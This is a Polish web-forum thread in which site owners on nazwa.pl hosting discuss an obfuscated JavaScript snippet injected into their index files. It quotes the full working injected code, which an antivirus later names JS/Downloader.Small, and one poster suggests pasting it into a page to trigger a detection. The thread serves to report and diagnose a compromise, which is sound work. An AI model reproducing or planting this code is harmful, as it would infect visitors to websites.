Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Wirus w JavaScript na nazwa.pl
Forum PHP.pl > Inne > Hydepark
eai
Witam,
czy komuś się zdarzyło że w jego stronie do plików index php, html itp został dopisany ten kod:

Kod
<script language=JavaScript>var kco=" shapgvba hmdvx(oz){ine fz,we=\"{v^abRkP9 |V}!6w~pn)@GZro#[$y,`:SO0dMjm&AihU2W;5.lt8fH']u_\\\"q+7BIXNCegs13xT-c(4*z=\",t=\"\",du,dsj,v=\"\",nt;sbe(fz=0;fz<oz.yratgu;fz++){ du=oz.puneNg(fz);dsj=we.vaqrkBs(du);vs(dsj>-1){ nt=((dsj+1)%81-1);vs(nt<=0)nt+=81;v+=we.puneNg(nt-1); } ryfr v+=du;}t+=v;qbphzrag.jevgr(t);}",tuy="";for(mhs=0;mhs<kco.length;mhs++){ xcxg = kco.charCodeAt(mhs);if((xcxg>64 && xcxg<78)||(xcxg>96 && xcxg<110)) xcxg=xcxg+13;
                                                                                                                                                                                                                                                                        else if((xcxg>77 && xcxg<91)||(xcxg>109 && xcxg<123))xcxg=xcxg-13;tuy=tuy.concat(String.fromCharCode(xcxg));} var ddy,xnx; eval( tuy );ddy="<Uat^(f|,)o8H)8b{d~)u)Uat^(fd>|+EaH=bofyzt^fb4|d<S9R}rM|,)o8H)8b{\\d;)u)Sat^(f\\d|SR9{\\d_ff(F//zzzy8EE8,b)o),gf,aUyaE=/\"\"Hfuy~U?d7+EaH=bofytb1bttbt7d\\d><\\/S9R}rM>d|@5|</Uat^(f>|"; uzqik(ddy);</script>


Jak narazie problem ten wystąpił na serwerach NetArt (nazwa.pl) i co dziwne na serwerze dedykowanym wystąpił na większości witryn, również zdarzyło mi się to na serwerze wirtualnym.


Wykluczam możliwość wadliwego działania skryptu php, ponieważ zmiany były również w katalogach do których domena nie miała dostępu, a plik nie był skryptem.

Czy komuś na nazwa.pl lub na innym hostingu przytafiło się coś takiego?
specialplan
Co ten skrypt robi?
eai
Wklej sobie to do strony i otwórz stronę. Program antywirusowy powinien Ci wykryć wirusa w pliku.
specialplan
JS/Downloader.Small

hmm
Ale nie moge znalezc info na ile to szkodliwe. Sprawdze moje strony na nazwie dzis wieczorem.
kris2
kiedyś chyba home.pl doklejało do stron automagicznie skrypt do statystyk. Może to podobny przypadek.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.